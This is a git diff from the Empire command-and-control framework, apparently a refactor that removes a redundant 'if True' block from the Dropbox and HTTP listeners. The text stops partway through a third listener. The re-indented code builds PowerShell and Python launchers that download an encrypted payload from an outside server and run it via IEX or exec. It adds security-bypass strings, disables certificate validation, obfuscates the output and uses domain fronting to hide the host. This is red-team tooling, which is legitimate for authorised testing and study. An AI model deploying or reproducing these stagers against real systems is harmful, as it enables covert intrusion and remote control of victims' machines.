diff --git a/CHANGELOG.md b/CHANGELOG.md index c961430ef..d5bfd06c0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Modernized the Python and IronPython agents with new agent and staging code (@Cx01N) - Added automatic tasking for sysinfo for stageless agents (@Cx01N) - Updated listeners to consistently use port 80 and 443 for HTTP traffic by default (@Cx01N) +- Remove unneeded condition statement from all listeners (@Vinnybod) ## [5.7.3] - 2023-10-17 diff --git a/empire/server/listeners/dbx.py b/empire/server/listeners/dbx.py index b2921b8e8..6df07b8ad 100755 --- a/empire/server/listeners/dbx.py +++ b/empire/server/listeners/dbx.py @@ -184,203 +184,195 @@ def generate_launcher( log.error("listeners/dbx generate_launcher(): no language specified!") return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - ): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listenerOptions = active_listener.options - - # host = listenerOptions['Host']['Value'] - staging_key = listenerOptions["StagingKey"]["Value"] - profile = listenerOptions["DefaultProfile"]["Value"] - launcher = listenerOptions["Launcher"]["Value"] - api_token = listenerOptions["APIToken"]["Value"] - baseFolder = listenerOptions["BaseFolder"]["Value"].strip("/") - staging_folder = "/{}/{}".format( - baseFolder, - listenerOptions["StagingFolder"]["Value"].strip("/"), - ) + active_listener = self + # extract the set options for this instantiated listener + listenerOptions = active_listener.options - if language.startswith("po"): - # PowerShell + # host = listenerOptions['Host']['Value'] + staging_key = listenerOptions["StagingKey"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + launcher = listenerOptions["Launcher"]["Value"] + api_token = listenerOptions["APIToken"]["Value"] + baseFolder = listenerOptions["BaseFolder"]["Value"].strip("/") + staging_folder = "/{}/{}".format( + baseFolder, + listenerOptions["StagingFolder"]["Value"].strip("/"), + ) - # replace with stager = '' for troubleshooting - stager = '$ErrorActionPreference = "SilentlyContinue";' - if safeChecks.lower() == "true": - stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - - for bypass in bypasses: - stager += bypass - stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - - stager += "$wc=New-Object System.Net.WebClient;" - - if userAgent.lower() == "default": - profile = listenerOptions["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] - stager += f"$u='{ userAgent }';" - - if userAgent.lower() != "none" or proxy.lower() != "none": - if userAgent.lower() != "none": - stager += "$wc.Headers.Add('User-Agent',$u);" - - if proxy.lower() != "none": - if proxy.lower() == "default": - stager += ( - "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" - ) - - else: - # TODO: implement form for other proxy - stager += f""" - $proxy=New-Object Net.WebProxy; - $proxy.Address = '{ proxy.lower() }'; - $wc.Proxy = $proxy; - """ - - if proxyCreds.lower() == "default": - stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" - - else: - # TODO: implement form for other proxy credentials - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - domain = username.split("\\")[0] - usr = username.split("\\")[1] - stager += f""" - $netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }'); - $wc.Proxy.Credentials = $netcred; - """ - - # save the proxy settings to use during the entire staging process and the agent - stager += "$Script:Proxy = $wc.Proxy;" - - # TODO: reimplement stager retries? - - # code to turn the key string into a byte array - stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{staging_key}');" - - # this is the minimized RC4 stager code from rc4.ps1 - stager += listener_util.powershell_rc4() - - stager += dedent( - f""" - # add in the Dropbox auth token and API params - $t='{ api_token }'; - $wc.Headers.Add("Authorization","Bearer $t"); - $wc.Headers.Add("Dropbox-API-Arg",\'{{"path":"{ staging_folder }/debugps"}}\'); - $data=$wc.DownloadData('https://content.dropboxapi.com/2/files/download'); - $iv=$data[0..3];$data=$data[4..$data.length]; - - # decode everything and kick it over to IEX to kick off execution - -join[Char[]](& $R $data ($IV+$K))|IEX - """ - ) + if language.startswith("po"): + # PowerShell - # Remove comments and make one line - stager = helpers.strip_powershell_comments(stager) - stager = data_util.ps_convert_to_oneliner(stager) + # replace with stager = '' for troubleshooting + stager = '$ErrorActionPreference = "SilentlyContinue";' + if safeChecks.lower() == "true": + stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - if obfuscate: - stager = self.mainMenu.obfuscationv2.obfuscate( - stager, - obfuscation_command=obfuscation_command, - ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + for bypass in bypasses: + stager += bypass + stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - # base64 encode the stager and return it - if encode and ( - (not obfuscate) or ("launcher" not in obfuscation_command.lower()) - ): - return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager + stager += "$wc=New-Object System.Net.WebClient;" - elif language.startswith("py"): - launcherBase = "import sys;" - # monkey patch ssl woohooo - launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;" + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + stager += f"$u='{ userAgent }';" - try: - if safeChecks.lower() == "true": - launcherBase += listener_util.python_safe_checks() - except Exception as e: - p = f"Error setting LittleSnitch in stager: {str(e)}" - log.error(p) - - if userAgent.lower() == "default": - profile = listenerOptions["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] - - launcherBase += dedent( - f""" - import urllib.request; - UA='{ userAgent }'; - t='{ api_token }'; - server='https://content.dropboxapi.com/2/files/download'; - req=urllib.request.Request(server); - req.add_header('User-Agent',UA); - req.add_header("Authorization","Bearer "+t); - req.add_header("Dropbox-API-Arg",'{{"path":"{ staging_folder }/debugpy"}}'); - """ - ) + if userAgent.lower() != "none" or proxy.lower() != "none": + if userAgent.lower() != "none": + stager += "$wc.Headers.Add('User-Agent',$u);" if proxy.lower() != "none": if proxy.lower() == "default": - launcherBase += "proxy = urllib.request.ProxyHandler();\n" + stager += "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" + else: - proto = proxy.Split(":")[0] - launcherBase += f"proxy = urllib.request.ProxyHandler({{'{proto}':'{proxy}'}});\n" - - if proxyCreds != "none": - if proxyCreds == "default": - launcherBase += "o = urllib.request.build_opener(proxy);\n" - else: - launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n" - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - launcherBase += dedent( - f""" - proxy_auth_handler.add_password(None,'{ proxy }', '{ username }', '{ password }'); - o = urllib.request.build_opener(proxy, proxy_auth_handler); - """ - ) + # TODO: implement form for other proxy + stager += f""" + $proxy=New-Object Net.WebProxy; + $proxy.Address = '{ proxy.lower() }'; + $wc.Proxy = $proxy; + """ + + if proxyCreds.lower() == "default": + stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" + else: + # TODO: implement form for other proxy credentials + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + domain = username.split("\\")[0] + usr = username.split("\\")[1] + stager += f""" + $netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }'); + $wc.Proxy.Credentials = $netcred; + """ + + # save the proxy settings to use during the entire staging process and the agent + stager += "$Script:Proxy = $wc.Proxy;" + + # TODO: reimplement stager retries? + + # code to turn the key string into a byte array + stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{staging_key}');" + + # this is the minimized RC4 stager code from rc4.ps1 + stager += listener_util.powershell_rc4() + + stager += dedent( + f""" + # add in the Dropbox auth token and API params + $t='{ api_token }'; + $wc.Headers.Add("Authorization","Bearer $t"); + $wc.Headers.Add("Dropbox-API-Arg",\'{{"path":"{ staging_folder }/debugps"}}\'); + $data=$wc.DownloadData('https://content.dropboxapi.com/2/files/download'); + $iv=$data[0..3];$data=$data[4..$data.length]; + + # decode everything and kick it over to IEX to kick off execution + -join[Char[]](& $R $data ($IV+$K))|IEX + """ + ) + + # Remove comments and make one line + stager = helpers.strip_powershell_comments(stager) + stager = data_util.ps_convert_to_oneliner(stager) + + if obfuscate: + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, + obfuscation_command=obfuscation_command, + ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + + # base64 encode the stager and return it + if encode and ( + (not obfuscate) or ("launcher" not in obfuscation_command.lower()) + ): + return helpers.powershell_launcher(stager, launcher) + else: + # otherwise return the case-randomized stager + return stager + + elif language.startswith("py"): + launcherBase = "import sys;" + # monkey patch ssl woohooo + launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;" + + try: + if safeChecks.lower() == "true": + launcherBase += listener_util.python_safe_checks() + except Exception as e: + p = f"Error setting LittleSnitch in stager: {str(e)}" + log.error(p) + + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + + launcherBase += dedent( + f""" + import urllib.request; + UA='{ userAgent }'; + t='{ api_token }'; + server='https://content.dropboxapi.com/2/files/download'; + req=urllib.request.Request(server); + req.add_header('User-Agent',UA); + req.add_header("Authorization","Bearer "+t); + req.add_header("Dropbox-API-Arg",'{{"path":"{ staging_folder }/debugpy"}}'); + """ + ) + + if proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += "proxy = urllib.request.ProxyHandler();\n" + else: + proto = proxy.Split(":")[0] + launcherBase += f"proxy = urllib.request.ProxyHandler({{'{proto}':'{proxy}'}});\n" + + if proxyCreds != "none": + if proxyCreds == "default": launcherBase += "o = urllib.request.build_opener(proxy);\n" + else: + launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n" + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + launcherBase += dedent( + f""" + proxy_auth_handler.add_password(None,'{ proxy }', '{ username }', '{ password }'); + o = urllib.request.build_opener(proxy, proxy_auth_handler); + """ + ) else: - launcherBase += "o = urllib.request.build_opener();\n" + launcherBase += "o = urllib.request.build_opener(proxy);\n" + else: + launcherBase += "o = urllib.request.build_opener();\n" - # install proxy and creds globally, so they can be used with urlopen. - launcherBase += "urllib.request.install_opener(o);\n" - launcherBase += "a=urllib.request.urlopen(req).read();\n" + # install proxy and creds globally, so they can be used with urlopen. + launcherBase += "urllib.request.install_opener(o);\n" + launcherBase += "a=urllib.request.urlopen(req).read();\n" - # RC4 decryption - launcherBase += listener_util.python_extract_stager(staging_key) + # RC4 decryption + launcherBase += listener_util.python_extract_stager(staging_key) - if obfuscate: - launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( - launcherBase - ) - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( + launcherBase + ) + launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( + launcherBase + ) - if encode: - launchEncoded = base64.b64encode( - launcherBase.encode("UTF-8") - ).decode("UTF-8") - launcher = ( - "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" - % (launchEncoded) - ) - return launcher - else: - return launcherBase + if encode: + launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( + "UTF-8" + ) + launcher = ( + "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" + % (launchEncoded) + ) + return launcher + else: + return launcherBase def generate_stager( self, diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index b5fc28b46..2d223fafa 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -233,313 +233,298 @@ def generate_launcher( ) return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - ): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listenerOptions = active_listener.options - host = listenerOptions["Host"]["Value"] - launcher = listenerOptions["Launcher"]["Value"] - staging_key = listenerOptions["StagingKey"]["Value"] - profile = listenerOptions["DefaultProfile"]["Value"] - uris = [a for a in profile.split("|")[0].split(",")] - stage0 = random.choice(uris) - customHeaders = profile.split("|")[2:] - - cookie = listenerOptions["Cookie"]["Value"] - # generate new cookie if the current session cookie is empty to avoid empty cookie if create multiple listeners - if cookie == "": - generate = listener_util.generate_cookie() - listenerOptions["Cookie"]["Value"] = generate - cookie = generate - - if language == "powershell": - # PowerShell - stager = '$ErrorActionPreference = "SilentlyContinue";' + active_listener = self + # extract the set options for this instantiated listener + listenerOptions = active_listener.options + host = listenerOptions["Host"]["Value"] + launcher = listenerOptions["Launcher"]["Value"] + staging_key = listenerOptions["StagingKey"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + uris = [a for a in profile.split("|")[0].split(",")] + stage0 = random.choice(uris) + customHeaders = profile.split("|")[2:] - if safeChecks.lower() == "true": - stager = "If($PSVersionTable.PSVersion.Major -ge 3){" + cookie = listenerOptions["Cookie"]["Value"] + # generate new cookie if the current session cookie is empty to avoid empty cookie if create multiple listeners + if cookie == "": + generate = listener_util.generate_cookie() + listenerOptions["Cookie"]["Value"] = generate + cookie = generate - for bypass in bypasses: - stager += bypass + if language == "powershell": + # PowerShell + stager = '$ErrorActionPreference = "SilentlyContinue";' - if safeChecks.lower() == "true": - stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - - stager += "$wc=New-Object System.Net.WebClient;" - if userAgent.lower() == "default": - profile = listenerOptions["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] - stager += f"$u='{ userAgent }';" - - if "https" in host: - # allow for self-signed certificates for https connections - stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" - stager += f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';" - - if userAgent.lower() != "none": - stager += "$wc.Headers.Add('User-Agent',$u);" - - if proxy.lower() != "none": - if proxy.lower() == "default": - stager += ( - "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" - ) - else: - # TODO: implement form for other proxy - stager += f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');$wc.Proxy = $proxy;" + if safeChecks.lower() == "true": + stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - if proxyCreds.lower() != "none": - if proxyCreds.lower() == "default": - stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" + for bypass in bypasses: + stager += bypass - else: - # TODO: implement form for other proxy credentials - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - if len(username.split("\\")) > 1: - usr = username.split("\\")[1] - domain = username.split("\\")[0] - stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');" + if safeChecks.lower() == "true": + stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - else: - usr = username.split("\\")[0] - stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }');" - - stager += "$wc.Proxy.Credentials = $netcred;" - - # save the proxy settings to use during the entire staging process and the agent - stager += "$Script:Proxy = $wc.Proxy;" - - # TODO: reimplement stager retries? - # check if we're using IPv6 - listenerOptions = copy.deepcopy(listenerOptions) - bindIP = listenerOptions["BindIP"]["Value"] - port = listenerOptions["Port"]["Value"] - if ":" in bindIP: - if "http" in host: - if "https" in host: - host = ( - "https://" + "[" + str(bindIP) + "]" + ":" + str(port) - ) - else: - host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) + stager += "$wc=New-Object System.Net.WebClient;" + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + stager += f"$u='{ userAgent }';" - # code to turn the key string into a byte array - stager += ( - f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" - ) + if "https" in host: + # allow for self-signed certificates for https connections + stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + stager += ( + f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';" + ) - # this is the minimized RC4 stager code from rc4.ps1 - stager += listener_util.powershell_rc4() - - # prebuild the request routing packet for the launcher - routingPacket = packets.build_routing_packet( - staging_key, - sessionID="00000000", - language="POWERSHELL", - meta="STAGE0", - additional="None", - encData="", - ) - b64RoutingPacket = base64.b64encode(routingPacket) - - # Add custom headers if any - if customHeaders != []: - for header in customHeaders: - headerKey = header.split(":")[0] - headerValue = header.split(":")[1] - # If host header defined, assume domain fronting is in use and add a call to the base URL first - # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello - if headerKey.lower() == "host": - stager += "try{$ig=$wc.DownloadData($ser)}catch{};" - stager += ( - "$wc.Headers.Add(" - + f"'{headerKey}','" - + headerValue - + "');" - ) + if userAgent.lower() != "none": + stager += "$wc.Headers.Add('User-Agent',$u);" + + if proxy.lower() != "none": + if proxy.lower() == "default": + stager += "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" + else: + # TODO: implement form for other proxy + stager += f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');$wc.Proxy = $proxy;" - # add the RC4 packet to a cookie - stager += f'$wc.Headers.Add("Cookie","{ cookie }={ b64RoutingPacket.decode("UTF-8") }");' - stager += "$data=$wc.DownloadData($ser+$t);" - stager += "$iv=$data[0..3];$data=$data[4..$data.length];" + if proxyCreds.lower() != "none": + if proxyCreds.lower() == "default": + stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" - # decode everything and kick it over to IEX to kick off execution - stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" + else: + # TODO: implement form for other proxy credentials + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + if len(username.split("\\")) > 1: + usr = username.split("\\")[1] + domain = username.split("\\")[0] + stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');" - # Remove comments and make one line - stager = helpers.strip_powershell_comments(stager) - stager = data_util.ps_convert_to_oneliner(stager) + else: + usr = username.split("\\")[0] + stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }');" + + stager += "$wc.Proxy.Credentials = $netcred;" + + # save the proxy settings to use during the entire staging process and the agent + stager += "$Script:Proxy = $wc.Proxy;" + + # TODO: reimplement stager retries? + # check if we're using IPv6 + listenerOptions = copy.deepcopy(listenerOptions) + bindIP = listenerOptions["BindIP"]["Value"] + port = listenerOptions["Port"]["Value"] + if ":" in bindIP: + if "http" in host: + if "https" in host: + host = "https://" + "[" + str(bindIP) + "]" + ":" + str(port) + else: + host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) + + # code to turn the key string into a byte array + stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" + + # this is the minimized RC4 stager code from rc4.ps1 + stager += listener_util.powershell_rc4() + + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet( + staging_key, + sessionID="00000000", + language="POWERSHELL", + meta="STAGE0", + additional="None", + encData="", + ) + b64RoutingPacket = base64.b64encode(routingPacket) - if obfuscate: - stager = self.mainMenu.obfuscationv2.obfuscate( - stager, - obfuscation_command=obfuscation_command, + # Add custom headers if any + if customHeaders != []: + for header in customHeaders: + headerKey = header.split(":")[0] + headerValue = header.split(":")[1] + # If host header defined, assume domain fronting is in use and add a call to the base URL first + # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello + if headerKey.lower() == "host": + stager += "try{$ig=$wc.DownloadData($ser)}catch{};" + stager += ( + "$wc.Headers.Add(" + f"'{headerKey}','" + headerValue + "');" ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) - # base64 encode the stager and return it - if encode and ( - (not obfuscate) or ("launcher" not in obfuscation_command.lower()) - ): - return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager - - if language in ["python", "ironpython"]: - # Python - launcherBase = "import sys;" - if "https" in host: - # monkey patch ssl woohooo - launcherBase += dedent( - """ - import ssl; - if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context; - """ - ) + # add the RC4 packet to a cookie + stager += f'$wc.Headers.Add("Cookie","{ cookie }={ b64RoutingPacket.decode("UTF-8") }");' + stager += "$data=$wc.DownloadData($ser+$t);" + stager += "$iv=$data[0..3];$data=$data[4..$data.length];" - try: - if safeChecks.lower() == "true": - launcherBase += listener_util.python_safe_checks() - except Exception as e: - p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" - log.error(p) + # decode everything and kick it over to IEX to kick off execution + stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" - if userAgent.lower() == "default": - profile = listenerOptions["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] + # Remove comments and make one line + stager = helpers.strip_powershell_comments(stager) + stager = data_util.ps_convert_to_oneliner(stager) + + if obfuscate: + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, + obfuscation_command=obfuscation_command, + ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + + # base64 encode the stager and return it + if encode and ( + (not obfuscate) or ("launcher" not in obfuscation_command.lower()) + ): + return helpers.powershell_launcher(stager, launcher) + else: + # otherwise return the case-randomized stager + return stager + if language in ["python", "ironpython"]: + # Python + launcherBase = "import sys;" + if "https" in host: + # monkey patch ssl woohooo launcherBase += dedent( - f""" - import urllib.request; - UA='{ userAgent }';server='{ host }';t='{ stage0 }'; - req=urllib.request.Request(server+t); + """ + import ssl; + if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context; """ ) - # prebuild the request routing packet for the launcher - routingPacket = packets.build_routing_packet( - staging_key, - sessionID="00000000", - language="PYTHON", - meta="STAGE0", - additional="None", - encData="", - ) + try: + if safeChecks.lower() == "true": + launcherBase += listener_util.python_safe_checks() + except Exception as e: + p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" + log.error(p) + + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + + launcherBase += dedent( + f""" + import urllib.request; + UA='{ userAgent }';server='{ host }';t='{ stage0 }'; + req=urllib.request.Request(server+t); + """ + ) - b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8") + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet( + staging_key, + sessionID="00000000", + language="PYTHON", + meta="STAGE0", + additional="None", + encData="", + ) - # Add custom headers if any - if customHeaders != []: - for header in customHeaders: - headerKey = header.split(":")[0] - headerValue = header.split(":")[1] - launcherBase += ( - f'req.add_header("{ headerKey }","{ headerValue }");\n' - ) + b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8") - if proxy.lower() != "none": - if proxy.lower() == "default": - launcherBase += "proxy = urllib.request.ProxyHandler();\n" - else: - proto = proxy.split(":")[0] - launcherBase += f"proxy = urllib.request.ProxyHandler({{'{ proto }':'{ proxy }'}});\n" + # Add custom headers if any + if customHeaders != []: + for header in customHeaders: + headerKey = header.split(":")[0] + headerValue = header.split(":")[1] + launcherBase += ( + f'req.add_header("{ headerKey }","{ headerValue }");\n' + ) - if proxyCreds != "none": - if proxyCreds == "default": - launcherBase += "o = urllib.request.build_opener(proxy);\n" + if proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += "proxy = urllib.request.ProxyHandler();\n" + else: + proto = proxy.split(":")[0] + launcherBase += f"proxy = urllib.request.ProxyHandler({{'{ proto }':'{ proxy }'}});\n" - # add the RC4 packet to a cookie - launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session={ b64RoutingPacket }")];\n' - else: - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - launcherBase += dedent( - f""" - proxy_auth_handler = urllib.request.ProxyBasicAuthHandler(); - proxy_auth_handler.add_password(None,'{ proxy }','{ username }','{ password }'); - o = urllib.request.build_opener(proxy, proxy_auth_handler); - o.addheaders=[('User-Agent',UA), ("Cookie", "session={ b64RoutingPacket }")]; - """ - ) + if proxyCreds != "none": + if proxyCreds == "default": + launcherBase += "o = urllib.request.build_opener(proxy);\n" + # add the RC4 packet to a cookie + launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session={ b64RoutingPacket }")];\n' else: - launcherBase += "o = urllib.request.build_opener(proxy);\n" - else: - launcherBase += "o = urllib.request.build_opener();\n" + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + launcherBase += dedent( + f""" + proxy_auth_handler = urllib.request.ProxyBasicAuthHandler(); + proxy_auth_handler.add_password(None,'{ proxy }','{ username }','{ password }'); + o = urllib.request.build_opener(proxy, proxy_auth_handler); + o.addheaders=[('User-Agent',UA), ("Cookie", "session={ b64RoutingPacket }")]; + """ + ) - # install proxy and creds globally, so they can be used with urlopen. - launcherBase += "urllib.request.install_opener(o);\n" - launcherBase += "a=urllib.request.urlopen(req).read();\n" + else: + launcherBase += "o = urllib.request.build_opener(proxy);\n" + else: + launcherBase += "o = urllib.request.build_opener();\n" - # download the stager and extract the IV - launcherBase += listener_util.python_extract_stager(staging_key) + # install proxy and creds globally, so they can be used with urlopen. + launcherBase += "urllib.request.install_opener(o);\n" + launcherBase += "a=urllib.request.urlopen(req).read();\n" - if obfuscate: - launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( - launcherBase - ) - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) + # download the stager and extract the IV + launcherBase += listener_util.python_extract_stager(staging_key) - if encode: - launchEncoded = base64.b64encode( - launcherBase.encode("UTF-8") - ).decode("UTF-8") - if isinstance(launchEncoded, bytes): - launchEncoded = launchEncoded.decode("UTF-8") - launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" - return launcher - else: - return launcherBase - - # very basic csharp implementation - if language == "csharp": - workingHours = listenerOptions["WorkingHours"]["Value"] - killDate = listenerOptions["KillDate"]["Value"] - customHeaders = profile.split("|")[2:] # todo: support custom headers - delay = listenerOptions["DefaultDelay"]["Value"] - jitter = listenerOptions["DefaultJitter"]["Value"] - lostLimit = listenerOptions["DefaultLostLimit"]["Value"] - - with open( - self.mainMenu.installPath + "/stagers/Sharpire.yaml", "rb" - ) as f: - stager_yaml = f.read() - stager_yaml = stager_yaml.decode("UTF-8") - stager_yaml = ( - stager_yaml.replace("{{ REPLACE_ADDRESS }}", host) - .replace("{{ REPLACE_SESSIONKEY }}", staging_key) - .replace("{{ REPLACE_PROFILE }}", profile) - .replace("{{ REPLACE_WORKINGHOURS }}", workingHours) - .replace("{{ REPLACE_KILLDATE }}", killDate) - .replace("{{ REPLACE_DELAY }}", str(delay)) - .replace("{{ REPLACE_JITTER }}", str(jitter)) - .replace("{{ REPLACE_LOSTLIMIT }}", str(lostLimit)) + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( + launcherBase + ) + launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( + launcherBase ) - compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver") - if not compiler.status == "ON": - self.instance_log.error( - f"{listenerName} csharpserver plugin not running" - ) - else: - file_name = compiler.do_send_stager( - stager_yaml, "Sharpire", confuse=obfuscate - ) - return file_name - + if encode: + launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( + "UTF-8" + ) + if isinstance(launchEncoded, bytes): + launchEncoded = launchEncoded.decode("UTF-8") + launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" + return launcher else: + return launcherBase + + # very basic csharp implementation + if language == "csharp": + workingHours = listenerOptions["WorkingHours"]["Value"] + killDate = listenerOptions["KillDate"]["Value"] + customHeaders = profile.split("|")[2:] # todo: support custom headers + delay = listenerOptions["DefaultDelay"]["Value"] + jitter = listenerOptions["DefaultJitter"]["Value"] + lostLimit = listenerOptions["DefaultLostLimit"]["Value"] + + with open(self.mainMenu.installPath + "/stagers/Sharpire.yaml", "rb") as f: + stager_yaml = f.read() + stager_yaml = stager_yaml.decode("UTF-8") + stager_yaml = ( + stager_yaml.replace("{{ REPLACE_ADDRESS }}", host) + .replace("{{ REPLACE_SESSIONKEY }}", staging_key) + .replace("{{ REPLACE_PROFILE }}", profile) + .replace("{{ REPLACE_WORKINGHOURS }}", workingHours) + .replace("{{ REPLACE_KILLDATE }}", killDate) + .replace("{{ REPLACE_DELAY }}", str(delay)) + .replace("{{ REPLACE_JITTER }}", str(jitter)) + .replace("{{ REPLACE_LOSTLIMIT }}", str(lostLimit)) + ) + + compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver") + if not compiler.status == "ON": self.instance_log.error( - f"{listenerName}: listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module." + f"{listenerName} csharpserver plugin not running" ) + else: + file_name = compiler.do_send_stager( + stager_yaml, "Sharpire", confuse=obfuscate + ) + return file_name + + else: + self.instance_log.error( + f"{listenerName}: listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module." + ) def generate_stager( self, diff --git a/empire/server/listeners/http_com.py b/empire/server/listeners/http_com.py index 30dc5577a..88c8955ce 100755 --- a/empire/server/listeners/http_com.py +++ b/empire/server/listeners/http_com.py @@ -208,130 +208,122 @@ def generate_launcher( log.error("listeners/http_com generate_launcher(): no language specified!") return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - 